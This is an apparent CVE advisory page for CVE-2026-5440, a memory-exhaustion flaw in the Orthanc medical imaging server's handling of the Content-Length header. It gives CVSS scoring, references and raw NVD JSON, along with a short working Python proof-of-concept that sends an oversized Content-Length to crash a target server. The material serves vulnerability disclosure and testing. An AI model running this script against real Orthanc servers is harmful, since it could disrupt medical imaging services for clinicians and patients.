CVE-2026-5440

Description

A memory exhaustion vulnerability exists in the HTTP server due to unbounded use of the `Content-Length` header. The server allocates memory directly based on the attacker supplied header value without enforcing an upper limit. A crafted HTTP request containing an extremely large `Content-Length` value can trigger excessive memory allocation and server termination, even without sending a request body.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:* - VULNERABLE

Orthanc Server (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

def exploit_poc(host, port):
    # Create a malicious HTTP request with a huge Content-Length header
    # The server allocates memory based on this value without sending the body.
    payload = """GET / HTTP/1.1

Host: {}

Content-Length: 999999999999



""".format(host)
    
    try:
        print("[+] Sending malicious request to {}: {}".format(host, port))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))
        s.send(payload.encode())
        print("[+] Request sent. Check if the server has crashed.")
        s.close()
    except Exception as e:
        print("[-] Error: {}".format(e))

if __name__ == "__main__":
    target_ip = "127.0.0.1" # Replace with target IP
    target_port = 8042      # Replace with target port (Orthanc default is 8042)
    exploit_poc(target_ip, target_port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5440
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5440
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5440/
[4] VulDB https://vuldb.com/cve/CVE-2026-5440
[5] https://kb.cert.org/vuls/id/536588
[6] https://www.machinespirits.de/
[7] https://www.orthanc-server.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5440", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.337", "lastModified": "2026-04-14T20:26:57.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory exhaustion vulnerability exists in the HTTP server due to unbounded use of the `Content-Length` header. The server allocates memory directly based on the attacker supplied header value without enforcing an upper limit. A crafted HTTP request containing an extremely large `Content-Length` value can trigger excessive memory allocation and server termination, even without sending a request body."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}